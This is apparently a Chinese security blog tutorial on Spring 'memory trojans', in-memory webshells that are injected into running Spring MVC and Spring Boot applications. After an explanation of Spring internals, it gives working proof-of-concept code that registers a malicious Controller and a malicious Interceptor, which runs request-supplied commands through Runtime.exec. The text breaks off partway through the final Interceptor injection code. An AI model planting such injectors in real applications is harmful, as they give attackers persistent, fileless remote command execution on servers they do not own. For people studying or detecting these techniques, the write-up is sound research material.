少女祈祷中...

Spring内存马

参考:

在学习spring内存马的时候,最好知道spring、springmvc、springboot的开发知识和基本使用,下面就不多介绍基础的开发知识

基础知识

依赖

<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>6.1.4</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>6.1.4</version>
</dependency>

Spring

Spring是利用注解、反射和模板等技术实现的一种框架。其核心类是继承于HttpServlet的DispatchServlet。那既然是Servlet,那负责的肯定就是逻辑处理部分了,那么就需要Tomcat这样的服务器来给Spring提供运行环境。
普遍的spring配置文件:

<web-app xmlns:xsi="<a href=" http:="" www.w3.org="" 2001="" XMLSchema-instance"="" rel="nofollow">http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://java.sun.com/xml/ns/javaee"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
version="2.5">

<display-name>HelloSpringMVC</display-name>

<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>

<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>

<servlet>
<servlet-name>dispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/dispatcherServlet-servlet.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>dispatcherServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>

ApplicationContext

在Spring里,BeanFactory是IoC容器的实际代表,而ApplicationContext正好继承了BeanFactory,所以org.springframework.context.ApplicationContext接口也代表了IoC容器,一旦获得了ApplicationContext实例,也即获得了IoC容器的引用。
这是BeanFactory与ApplicationContext的区别:

BeanFactory的实现是按需创建,即第一次获取Bean时才创建这个Bean,而ApplicationContext会一次性创建所有的Bean

我们可以从ApplicationContext中可以根据Bean的ID获取Bean。

因此,org.springframework.context.ApplicationContext接口也代表了 IoC容器 ,它负责实例化、定位、配置应用程序中的对象(bean)及建立这些对象间(beans)的依赖。

Root Context和Child Context

我们来看看web.xml配置文件

...
<servlet>
<servlet-name>spring</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/springmvc.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>spring</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
...

这里我们将DispatcherServlet设置别名为spring,然后将contextConfigLocation 参数值配置为/WEB-INF/springmvc.xml。

依照规范,当没有显式配置 contextConfigLocation 时,程序会自动寻找 `/WEB-INF/-servlet.xml,作为配置文件。因为上面的 是 dispatcherServlet,所以当没有显式配置时,程序依然会自动找到 /WEB-INF/dispatcherServlet-servlet.xml 配置文件。

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/mvc
http://www.springframework.org/schema/mvc/spring-mvc.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">

<mvc:annotation-driven/>
<!-- 1.使用注解,扫描项目中的包 -->
<context:component-scan base-package="com.yyjccc.memorytrojan.Spring"></context:component-scan>

<!-- 2.开启注解 -->
<mvc:annotation-driven/>

<!-- 3.配置例外:不是让所有的代码都走springmvc的过滤器 -->
<!-- 配置静态资源,不被DispatcherServlet处理 -->
<mvc:resources location="/images/" mapping="/images/**"/>
<mvc:resources location="/js/" mapping="/js/**"/>
<mvc:resources location="/css/" mapping="/css/**"/>

<!-- 4.定义跳转文件的前缀和后缀,视图view的配置 -->
<bean id="viewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix" value="/WEB-INF/views/"></property>
<property name="suffix" value=".jsp"></property>
</bean>

</beans>

每个具体的 DispatcherServlet 创建的是一个 Child Context,代表一个独立的 IoC 容器;而 ContextLoaderListener 所创建的是一个 Root Context,代表全局唯一的一个公共 IoC 容器。

如果要访问和操作 bean ,一般要获得当前代码执行环境的IoC 容器 代表者 ApplicationContext。

  • Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,剩下的全是 Child Context
  • 所有Child Context都可以访问在 Root Context中定义的 bean,但是Root Context无法访问Child Context中定义的 bean
  • 所有的Context在创建后,都会被作为一个属性添加到了 ServletContext中

ContextLoaderListener

ContextLoaderListener主要用来初始化全局唯一的Root Context,即Root WebApplicationContext,它会和其他Child Context实例共享自己的IoC容器,以便Child Context获取并使用容器里的bean。

Spring MVC

Spring MVC的运行流程
客户端发送Request,DispatcherServlet(等同于Controller控制器),控制器接收到请求,来到HandlerMapping(在配置文件中配置),HandlerMapping会对URL进行解析,并判断当前URL该交给哪个Controller来处理,找到对应的Controller之后,Controller就跟Server、JavaBean进行交互,得到某一个值,并返回一个视图(ModelAndView过程),Dispathcher通过ViewResolver视图解析器,找到ModelAndView对象指定的视图对象,最后,视图对象负责渲染返回给客户端。

配置springmvc

 <context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/applicationContext.xml</param-value>
</context-param>
<servlet>
<servlet-name>dispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:springmvc.xml</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>dispatcherServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>

<!--添加Spring内置的过滤器,解决乱码问题-->
<filter>
<filter-name>encodingFilter</filter-name>
<filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>UTF-8</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>encodingFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

看下其中的,当没有显式配置 ContextLoaderListener的contextConfigLocation时,程序会自动寻找/WEB-INF/applicationContext.xml作为配置文件

DispatcherServlet

它的主要作用是处理传入的web请求,根据配置的URL,将请求分发给正确的 Controller和View。DispatcherServlet初始化完成后,会创建一个普通的Child Context实例。对于DispatcherServlet,实际上它本质就是一个Servlet,现在来回看web.xml中的这一段

<servlet>
<servlet-name>dispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/dispatcherServlet-servlet.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

Tomcat使用Spring、SpringMVC

Tomcat无法启动,或者是启动后404,没有加载上springmvc的DispatcherServlet
踩坑:https://blog.csdn.net/qq_50231389/article/details/118015734
其实不是上面说的那回事,使用了spring 6版本,把版本改低就ok了

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>dispatcherServlet</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:spring-mvc.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>dispatcherServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>

这里对应spring-mvc.xml


<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/mvc
http://www.springframework.org/schema/mvc/spring-mvc.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">

<mvc:annotation-driven/>
<!-- 1.使用注解,扫描项目中的包 -->
<context:component-scan base-package="com.yyjccc.memorytrojan.Spring.controller"></context:component-scan>
<!-- 2.开启注解 -->
<mvc:annotation-driven/>

</beans>

Controller型

和Tomcat内存马类似,我们就需要了解如何动态的注册Controller,思路如下

  1. 获取上下文环境
  2. 注册恶意Controller
  3. 配置路径映射

获取Context

有四种方法

  • getCurrentWebApplicationContext

    WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

    getCurrentWebApplicationContext 获得的是一个 XmlWebApplicationContext 实例类型的 Root WebApplicationContext。

  • WebApplicationContextUtils

    WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

    或者是

    WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

    根据RequestContextHolder.currentRequestAttributes()).getRequest()拿到当前请求并获取ServletContext
    再拿到ApplicationContext

  • RequestContextUtils

    WebApplicationContext webApplicationContext = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

    通过 ServletRequest 类的实例来获得 Child WebApplicationContext。

  • getAttribute

    WebApplicationContext context3 = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

动态注册Controller

Spring Controller 的动态注册,就是对 RequestMappingHandlerMapping 注入的过程。
调试一下:
断点打到我们的Controller类中方法内,
查看函数调用栈,看看是怎么调到此方法的

从doGet逐层往下看

到AbstractHandlerMethodAdapter#handle方法,
之前都只是request,和response参数一直往下传,现在发现多了一个handler

发现handler中已经有封装好了目标方法,即我们写的处理业务的方法

那之后反射调用即可。
看看handler怎么来的
doDispatch方法中

DispatcherServlet#getHandler方法中


第一个就是RequestMappingHandlerMapping,for循环遍历拿到它,并根据request拿取HandlerChain。
思路清晰了就是从RequestMappingHandlerMapping中根据URL拿到要调用方法
攻击思路就是往里面注入新的映射,从而调用我们的恶意方法

RequestMappingHandlerMapping是springMVC里面的核心Bean,spring把我们的controller解析成RequestMappingInfo对象,然后再注册进RequestMappingHandlerMapping中,这样请求进来以后就可以根据请求地址调用到Controller类里面了

  • RequestMappingHandlerMapping对象本身是spring来管理的,可以通过ApplicationContext取到,所以并不需要我们新建。
  • 在SpringMVC框架下,会有两个ApplicationContext,一个是Spring IOC的上下文,这个是在java web框架的Listener里面配置,就是我们经常用的web.xml里面的org.springframework.web.context.ContextLoaderListener,由它来完成IOC容器的初始化和bean对象的注入。
  • 另外一个是ApplicationContext是由org.springframework.web.servlet.DispatcherServlet完成的,具体是在org.springframework.web.servlet.FrameworkServlet#initWebApplicationContext()这个方法做的。而这个过程里面会完成RequestMappingHandlerMapping这个对象的初始化。

Spring 3.1 开始及以后一般开始使用新的
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
映射器来支持@Contoller和@RequestMapping注解。

拿request去匹配已经注册好的RequestMappingInfo,即用URL路径匹配Contorller
再根据RequestMappingInfo对象从map中拿到handler

上面调式继续下去
走到RequestMappingHandlerMapping的父类AbstractHandlerMethodMapping#getHandlerInternal

这里还对this.mappingRegistry加了读锁(:
那应该就是操作这个属性
后面发现最后是mappingRegistry的register属性中拿到的


这下就是找注入的方法(直接抄现成的了)

registerMapping

在Spring 4.0及以后,可以使用registerMapping直接注册requestMapping
步骤:

  • 获取context
  • 获取RequestMappingHandlerMapping
  • 反射拿到要调用的方法
  • 创建RequestMappingInfo,对应着一个Controller
  • 注册进入RequestMappingHandlerMapping
    // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
    RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
    // 2. 通过反射获得自定义 controller 中唯一的 Method 对象
    Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
    // 3. 定义访问 controller 的 URL 地址
    PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
    // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
    RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
    // 5. 在内存中动态注册 controller
    RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
    r.registerMapping(info, Class.forName("恶意Controller").newInstance(), method);

Spring 2.5 开始到 Spring 3.1 之前一般使用
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping映射器 ;

registerHandler

(版本古老,暂且就不复现了(:)
参考上面的 HandlerMapping 接口继承关系图,针对使用 DefaultAnnotationHandlerMapping 映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractUrlHandlerMapping
在其registerHandler()方法中

该方法接受 urlPath参数和 handler参数,可以在 this.getApplicationContext() 获得的上下文环境中寻找名字为 handler 参数值的 bean, 将 url 和 controller 实例 bean 注册到 handlerMap 中

// 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
// 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
// 3. 反射获得 registerHandler Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
// 4. 将 dynamicController 和 URL 注册到 handlerMap 中
m1.invoke(dh, "/favicon", "dynamicController");

detectHandlerMethods

参考上面的 HandlerMapping 接口继承关系图,针对使用 RequestMappingHandlerMapping 映射器的应用,可以找到它继承的顶层类org.springframework.web.servlet.handler.AbstractHandlerMethodMapping
在其detectHandlerMethods() 方法中

protected void detectHandlerMethods(Object handler) {
Class<?> handlerType = handler instanceof String ? this.getApplicationContext().getType((String)handler) : handler.getClass();
final Class<?> userType = ClassUtils.getUserClass(handlerType);
Set<Method> methods = HandlerMethodSelector.selectMethods(userType, new MethodFilter() {
public boolean matches(Method method) {
return AbstractHandlerMethodMapping.this.getMappingForMethod(method, userType) != null;
}
});
Iterator var6 = methods.iterator();
while(var6.hasNext()) {
Method method = (Method)var6.next();
T mapping = this.getMappingForMethod(method, userType);
this.registerHandlerMethod(handler, method, mapping);
}
}

该方法仅接受handler参数,同样可以在 this.getApplicationContext() 获得的上下文环境中寻找名字为 handler 参数值的 bean, 并注册 controller 的实例 bean

context.getBeanFactory().registerSingleton("dynamicController", Class.forName("恶意Controller").newInstance());
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
m1.invoke(requestMappingHandlerMapping, "dynamicController");

完整Poc

spring+Tomcat环境

恶意类

package com.yyjccc.memorytrojan.Spring.controller;

import java.io.IOException;

public class Shell_Controller{

public Shell_Controller(){}

public void shellMethod() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

package com.yyjccc.memorytrojan.Spring.controller;


import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.ContextLoader;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.context.support.WebApplicationContextUtils;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import java.lang.reflect.Method;
import java.util.Objects;

@RestController
public class MyController {
@RequestMapping("/sh")
public String exp() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException {

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = (Shell_Controller.class.getDeclaredMethods())[0];
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("com.yyjccc.memorytrojan.Spring.controller.Shell_Controller").newInstance(), method);
return "shell2";
}

Springboot环境

Spring 2.5 开始到 Spring 3.1 之前一般使用 org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping 映射器 ;
Spring 3.1 开始及以后一般开始使用新的 org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping 映射器来支持@Contoller和@RequestMapping注解。

在使用 Springboot 2.6.0 版本测试时,发现注入上面内存马后无法执行。而用低于2.6.0 版本的 Springboot是可以的。

而在 Springboot 2.6.0 环境下注入Controller内存马后会报500错误,错误提示 java.lang.IllegalArgumentException: Expected lookupPath in request attribute “org.springframework.web.util.UrlPathHelper.PATH”,如下图:

原因在于从 Springboot 2.6.0 版本开始,官方修改了url路径的默认匹配策略,版本发布日志部分如下:

如果在 Springboot 2.6.0 的环境下,通过 application.properties配置文件设置spring.mvc.pathmatch.matching-strategy的值为ant_path_matcher,即修改服务端的路径匹配策略为 AntPathMatcher,注入的Controller内存马后访问就没问题了(不过一般也不会怎么做吧(:

看看Springboot在启动服务时是如何将代码中的Controller一一创建出来,并保存在什么地方,然后客户端访问指定url时,服务端便会去这个地方去取。其中相关源码如下:

其中,methods是一个map对象,Method对象作为键,相应的包含访问路径等信息的RequestMappingInfo对象作为值。最后遍历methods这个map集合,对每一项进行注册,即把每一个method、访问路径及Controller保存到 AbstractHandlerMethodMapping.MappingRegistry对象中。

再看一下methods里的每一项,作为key的Method对象很好理解,那作为value的RequestMappingInfo对象时如何创建的呢?还是上面的代码,它是由RequestMappingHandlerMapping#getMappingForMethod()方法创建的,该方法又调用了 RequestMappingInfo#createRequestMappingInfo(RequestMapping, RequestCondition)方法,来看一下createRequestMappingInfo(RequestMapping, RequestCondition) 方法的实现:

也就是说不能用原来new的方法创建RequestInfo(des),而是使用Builder创建

package com.yyjccc.webshell.Controller;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

@RestController
public class BootShellController {
/**
* 适用于 SpringMVC+Tomcat的环境,以及Springboot 2.x 环境.
*/
@RequestMapping("/boot")
public String SpringControllerMemShell2() throws NoSuchMethodException, NoSuchFieldException, IllegalAccessException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = Shell_Controller.class.getDeclaredMethod("shellMethod");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/bash")
.options(config)
.build();
Shell_Controller shellController = new Shell_Controller();
mappingHandlerMapping.registerMapping(info,shellController , method2);
return "bash";
}
}

Interceptor型

Spring MVC 的拦截器(Interceptor)与 Java Servlet 的过滤器(Filter)类似,它主要用于拦截用户的请求并做相应的处理,通常应用在权限验证、记录请求信息的日志、判断用户是否登录等功能上。
在 Spring MVC 框架中定义一个拦截器需要对拦截器进行定义和配置,主要有以下 2 种方式。

  • 通过实现 HandlerInterceptor 接口或继承 HandlerInterceptor 接口的实现类(例如 HandlerInterceptorAdapter)来定义
  • 通过实现 WebRequestInterceptor 接口或继承 WebRequestInterceptor 接口的实现类来定义

Interceptor使用

这里我们选择继承HandlerInterceptor接口来实现一个Interceptor。HandlerInterceptor接口有三个方法,如下

  • preHandle:该方法在控制器的处理请求方法前执行,其返回值表示是否中断后续操作,返回 true 表示继续向下执行,返回 false 表示中断后续操作。
  • postHandle:该方法在控制器的处理请求方法调用之后、解析视图之前执行,可以通过此方法对请求域中的模型和视图做进一步的修改。
  • afterCompletion:该方法在控制器的处理请求方法执行完成后执行,即视图渲染结束后执行,可以通过此方法实现一些资源清理、记录日志信息等工作。
    package com.shell.interceptor;

    import org.springframework.web.servlet.HandlerInterceptor;

    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.PrintWriter;

    public class Spring_Interceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
    String url = request.getRequestURI();
    PrintWriter writer = response.getWriter();
    //如果请求路径为/login则放行
    if ( url.indexOf("/login") >= 0){
    writer.write("LoginIn");
    writer.flush();
    writer.close();
    return true;
    }
    writer.write("LoginInFirst");
    writer.flush();
    writer.close();
    return false;
    }
    }
    在springmvc.xml配置文件中配置相应的Interceptor
    ...
    <mvc:interceptors>
    <mvc:interceptor>
    <mvc:mapping path="/*"/>
    <bean class="com.shell.interceptor.Spring_Interceptor"/>
    </mvc:interceptor>
    </mvc:interceptors>
    ...
    编写对应的Controller
    package com.shell.controller;

    import org.springframework.stereotype.Controller;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.ResponseBody;

    @Controller
    public class Spring_Controller {

    @ResponseBody
    @RequestMapping("/login")
    public String Login(){
    return "Success!";
    }
    }
    访问对应路径

request调用流程

我们首先来探究一下,当一个Request发送到Spring应用时,是如何一步步到达业务逻辑处理层Controller的。
在ApplicationFilterChain#internalDoFilter处下一个断点,可以看到此时的调用栈是和启动Tomcat时相同的

但与Tomcat不同的是,当调用到HttpServlet#service时,最终会调用DispatcherServlet#doDispatch进行逻辑处理,这正是Spring的逻辑处理核心类。

doDispatch:1028, DispatcherServlet (org.springframework.web.servlet)
doService:963, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:655, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)

...

跟进到getHandler方法

protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
if (this.handlerMappings != null) {
for (HandlerMapping mapping : this.handlerMappings) {
HandlerExecutionChain handler = mapping.getHandler(request);
if (handler != null) {
return handler;
}
}
}
return null;
}

在 getHandler 方法中,会通过遍历 this.handlerMappings 来获取 HandlerMapping 对象实例 mapping

而getHandler实际上会调用org.springframework.web.servlet.handler.AbstractHandlerMapping 类的 getHandler 方法,并通过 getHandlerExecutionChain(handler, request) 方法返回 HandlerExecutionChain 类的实例

跟进AbstractHandlerMapping#getHandlerExecutionChain

protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
HandlerExecutionChain chain = (handler instanceof HandlerExecutionChain ?
(HandlerExecutionChain) handler : new HandlerExecutionChain(handler));

for (HandlerInterceptor interceptor : this.adaptedInterceptors) {
if (interceptor instanceof MappedInterceptor) {
MappedInterceptor mappedInterceptor = (MappedInterceptor) interceptor;
if (mappedInterceptor.matches(request)) {
chain.addInterceptor(mappedInterceptor.getInterceptor());
}
}
else {
chain.addInterceptor(interceptor);
}
}
return chain;
}

可以看到其通过adaptedInterceptors获取所有Interceptor后进行遍历,其中可以看见一个我们自己定义的Interceptor

然后通过chain.addInterceptor()将所有Interceptor添加到HandlerExecutionChain中。最后返回到DispatcherServlet#doDispatch()中,调用mappedHandler.applyPreHandle方法

boolean applyPreHandle(HttpServletRequest request, HttpServletResponse response) throws Exception {
for (int i = 0; i < this.interceptorList.size(); i++) {
HandlerInterceptor interceptor = this.interceptorList.get(i);
if (!interceptor.preHandle(request, response, this.handler)) {
triggerAfterCompletion(request, response, null);
return false;
}
this.interceptorIndex = i;
}
return true;
}

然后遍历调用Interceptor中的preHandle()拦截方法。
因此当一个Request发送到Spring应用时,大致会经过如下几个层面才会进入Controller层

HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Controller

Interceptor型内存马实现

通过以上分析,Interceptor实际上是可以拦截所有想到达Controller的请求的。下面的问题就是如何动态地注册一个恶意的Interceptor了。由于Interceptor和Filter有一定的相似之处,因此我们可以仿照Filter型内存马的实现思路

  • 获取当前运行环境的上下文
  • 实现恶意Interceptor
  • 注入恶意Interceptor

获取环境上下文
在Controller型内存马中,给出了四种获取Spring上下文ApplicationContext的方法。下面我们还可以通过反射获取LiveBeansView类的applicationContexts 属性来获取上下文。

// 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
// 2. 属性被 private 修饰,所以 setAccessible true
filed.setAccessible(true);
// 3. 获取一个 ApplicationContext 实例
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();

org.springframework.context.support.LiveBeansView 类在 spring-context 3.2.x 版本(现在最新版本是 5.3.x)才加入其中,所以比较低版本的 spring 无法通过此方法获得 ApplicationContext 的实例。
获取adaptedInterceptors属性值
获得 ApplicationContext 实例后,还需要知道 org.springframework.web.servlet.handler.AbstractHandlerMapping 类实例的 bean name 叫什么。


我们可以通过ApplicationContext上下文来获取AbstractHandlerMapping,进而反射获取adaptedInterceptors属性值

org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);

实现恶意Interceptor
这里选择继承HandlerInterceptor类,并重写其preHandle方法

package com.shell.interceptor;

import org.springframework.web.servlet.HandlerInterceptor;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class Shell_Interceptor implements HandlerInterceptor {

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
return true;
}
return false;
}
}

动态注册Interceptor
我们知道Spring是通过遍历adaptedInterceptors属性值来执行Interceptor的,因此最后我们只需要将恶意Interceptor加入到 adaptedInterceptors 属性值中就可以了。

//将恶意Interceptor添加入adaptedInterceptors
Shell_Interceptor shell_interceptor = new Shell_Interceptor();
adaptedInterceptors.add(shell_interceptor);

完整POC

package com.shell.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@Controller
public class Inject_Shell_Interceptor_Controller {

@ResponseBody
@RequestMapping("/inject")
public void Inject() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {

//获取上下文环境
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

//获取adaptedInterceptors属性值
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(RequestMappingHandlerMapping.class);
